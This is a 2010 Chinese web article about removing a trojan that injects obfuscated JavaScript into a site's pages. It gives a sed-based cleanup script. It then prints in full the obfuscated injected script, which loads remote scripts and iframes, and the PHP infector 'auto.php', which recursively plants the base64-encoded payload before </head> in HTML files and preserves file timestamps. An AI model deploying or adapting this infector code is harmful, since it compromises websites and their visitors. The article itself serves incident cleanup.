用shell命令删除网站最新nb挂马的方法与代码

 更新时间:2010年02月06日 11:31:05   作者:  
教你删除网站最新NB挂马最近发现 很多网站被挂了木马,会在页面中生成如下代码。
复制代码 代码如下:

# <script language="javascript" type="text/javascript">
# if(document.cookie.indexOf('helio')==-1){var expires=new Date();expires.setTime(expires.getTime()+1*60*60*1000);document.cookie='helio=Yes;path=/;expires='+expires.toGMTString()
# eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('5.l(\'<h f=b i=8://m.n.6.4/a/j.d></h><9 7=0 k=1 i="8://m.n.6.4/a/e.c?2"></9><9 7=0 k=1 i="8://m.n.6.4/a/g.c?3"></9>\')',62,24,'|100|YNE|ZGH|cn|document|gov|height|http|iframe|images|javascript|jpg|js|kiss|language|miss|script|src|ubb|width|writeln|www|xcrsrc'.split('|'),0,{}));}
# </script>

确实很让人头痛,还是编写shell 脚本把这些脚本去掉
复制代码 代码如下:

#!/bin/sh
ls $1/*.htm | while read file
do
sed -i -e "/if(document.cookie.indexOf('helio'/d; /eval(function(p,a,c,k,e,d)/d;" $file
done

但是第二天还是有

最后偶然发现 网站中有个auto.php 文件比较可疑
查看下内容,果然是木马的根源
下面是其内容,希望对大家有所帮助
复制代码 代码如下:

<?php
error_reporting(E_ERROR);
set_time_limit(0);
function CheckPath($path)
{
return str_replace('//','/',str_replace('\\','/',$path));
}
function AutoRead($filename)
{
$handle = @fopen($filename,"rb");
$filecode = @fread($handle,@filesize($filename));
@fclose($handle);
return $filecode;
}
function AutoWrite($filename, $filecode ,$filemode)
{
$time = @filemtime($filename);
$handle = @fopen($filename,$filemode);
$key = @fwrite($handle,"\r\n".$filecode."\r\n");
if(!$key)
{
@chmod($filename,0666);
$key = @fwrite($handle,"\r\n".$filecode."\r\n");
}
@fclose($handle);
@touch($filename,$time);
return $key ? true : false;
}
function make_pass($length)
{
$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = "";
while(strlen($str) < $length)
{
$str .= substr($possible,(rand() % strlen($possible)),1);
}
return $str;
}
function AutoRun($dir)
{
$spider = @opendir($dir);
while($file = @readdir($spider))
{
if($file == '.' || $file == '..' || $file == 'a' || $file == 'images' || $file == 'uploads' || $file == 'special' || $file == 'data' || $file == 'include' || $file == 'member' || $file == 'templets' || $file == 'install') continue;
$code = base64_decode('PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCmlmKGRvY3VtZW50LmNvb2tpZS5pbmRleE9mKCdoZWxpbycpPT0tMSl7dmFyIGV4cGlyZXM9bmV3IERhdGUoKTtleHBpcmVzLnNldFRpbWUoZXhwaXJlcy5nZXRUaW1lKCkrMSo2MCo2MCoxMDAwKTtkb2N1bWVudC5jb29raWU9J2hlbGlvPVllcztwYXRoPS87ZXhwaXJlcz0nK2V4cGlyZXMudG9HTVRTdHJpbmcoKQ0KZXZhbChmdW5jdGlvbihwLGEsYyxrLGUsZCl7ZT1mdW5jdGlvbihjKXtyZXR1cm4oYzxhPycnOmUocGFyc2VJbnQoYy9hKSkpKygoYz1jJWEpPjM1P1N0cmluZy5mcm9tQ2hhckNvZGUoYysyOSk6Yy50b1N0cmluZygzNikpfTtpZighJycucmVwbGFjZSgvXi8sU3RyaW5nKSl7d2hpbGUoYy0tKWRbZShjKV09a1tjXXx8ZShjKTtrPVtmdW5jdGlvbihlKXtyZXR1cm4gZFtlXX1dO2U9ZnVuY3Rpb24oKXtyZXR1cm4nXFx3Kyd9O2M9MX07d2hpbGUoYy0tKWlmKGtbY10pcD1wLnJlcGxhY2UobmV3IFJlZ0V4cCgnXFxiJytlKGMpKydcXGInLCdnJyksa1tjXSk7cmV0dXJuIHB9KCc1LmwoXCc8aCBmPWIgaT04Oi8vbS5uLjYuNC9hL2ouZD48L2g+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2UuYz8yIj48Lzk+PDkgNz0wIGs9MSBpPSI4Oi8vbS5uLjYuNC9hL2cuYz8zIj48Lzk+XCcpJyw2MiwyNCwnfDEwMHw=');
$code .= make_pass(3);
$code .= '|';
$code .= make_pass(3);
$code .= base64_decode('fGNufGRvY3VtZW50fGdvdnxoZWlnaHR8aHR0cHxpZnJhbWV8aW1hZ2VzfGphdmFzY3JpcHR8anBnfGpzfGtpc3N8bGFuZ3VhZ2V8bWlzc3xzY3JpcHR8c3JjfHViYnx3aWR0aHx3cml0ZWxufHd3d3x4Y3JzcmMnLnNwbGl0KCd8JyksMCx7fSkpO30NCjwvc2NyaXB0Pg0KPC9oZWFkPg==');
die($code);
$filename = CheckPath($dir.'/'.$file);
if(is_dir($filename)) AutoRun($filename);
if(eregi('\.htm|\.shtml',$file))
{
$checkcode = AutoRead($filename);
if((!stristr($checkcode,'eval(function(')) && stristr($checkcode,'</head>'))
{
$newcode = str_replace('</head>',$code,$checkcode);
echo AutoWrite($filename, $newcode, "wb") ? "ok:".$filename."<br>\n" : "err:".$filename."<br>\n";
ob_flush();
flush();
}
}
$checkcode = NULL;
$newcode = NULL;
}
@closedir($spider);
return true;
}
if(isset($_GET['dir']))
{
AutoRun($_GET['dir']);
}
echo 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'].'?dir='.CheckPath(dirname(__FILE__));
?>

相关文章

  • ubuntu开启SSH服务远程登录操作的实现

    ubuntu开启SSH服务远程登录操作的实现

    这篇文章主要介绍了ubuntu开启SSH服务远程登录操作的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-08-08
  • Linux下的fdisk命令用法详解

    Linux下的fdisk命令用法详解

    这篇文章主要介绍了Linux下的fdisk用法,大家都知道fdisk功能真的很强大,用它可以划分出最复杂的分区,本文重点给大家介绍Linux下的fdisk命令用法,感兴趣的朋友一起看看吧
    2018-05-05
  • Linux自动化构建工具make和Makefile详解

    Linux自动化构建工具make和Makefile详解

    这篇文章主要介绍了Linux如何自动化构建工具make和makefile,文章中有详细的图片示例,对学习有一定的参考价值,感兴趣的小伙伴可以参考一下
    2023-04-04
  • Centos7下NFS服务搭建介绍

    Centos7下NFS服务搭建介绍

    大家好,本篇文章主要讲的是Centos7下NFS服务搭建介绍,感兴趣的同学赶快来看一看吧,对你有帮助的话记得收藏一下,方便下次浏览
    2021-12-12
  • 使用 Apache Dubbo 实现远程通信(微服务架构)

    使用 Apache Dubbo 实现远程通信(微服务架构)

    Apache Dubbo 是一个分布式服务框架,主要实现多个系统之间的高性能、透明化调用,本文给大家介绍使用 Apache Dubbo 实现远程通信的详细过程,感兴趣的朋友跟随小编一起看看吧
    2022-01-01
  • Linux下安装Oracle(CentOS-Oracle 12c)的方法

    Linux下安装Oracle(CentOS-Oracle 12c)的方法

    这篇文章主要介绍了Linux下安装Oracle(CentOS-Oracle 12c)的方法,本文实例讲解,介绍的非常详细,具有参考借鉴价值,感兴趣的朋友一起看看吧
    2016-11-11
  • linux 磁盘转移空间的方法

    linux 磁盘转移空间的方法

    本篇文章主要介绍了linux 磁盘转移空间的方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧
    2017-12-12
  • Apache和Tomcat有什么区别_动力节点Java学院整理

    Apache和Tomcat有什么区别_动力节点Java学院整理

    Apache 和 Tomcat 都是web网络服务器,两者既有联系又有区别。下面通过本文给大家介绍Apache和Tomcat的区别,感兴趣的朋友一起看看吧
    2017-08-08
  • 简单实现linux聊天室程序

    简单实现linux聊天室程序

    这篇文章主要介绍了简单实现linux聊天室程序的详细代码,帮助大家了解聊天室的实现原理,感兴趣的小伙伴们可以参考一下
    2015-12-12
  • 使用Apache Camel表达REST服务的方法

    使用Apache Camel表达REST服务的方法

    Apache Camel可以作为一个独立的或嵌入的库在任何地方运行,它可以帮助整合,这篇文章主要介绍了如何使用Apache Camel表达REST服务,需要的朋友可以参考下
    2022-06-06

最新评论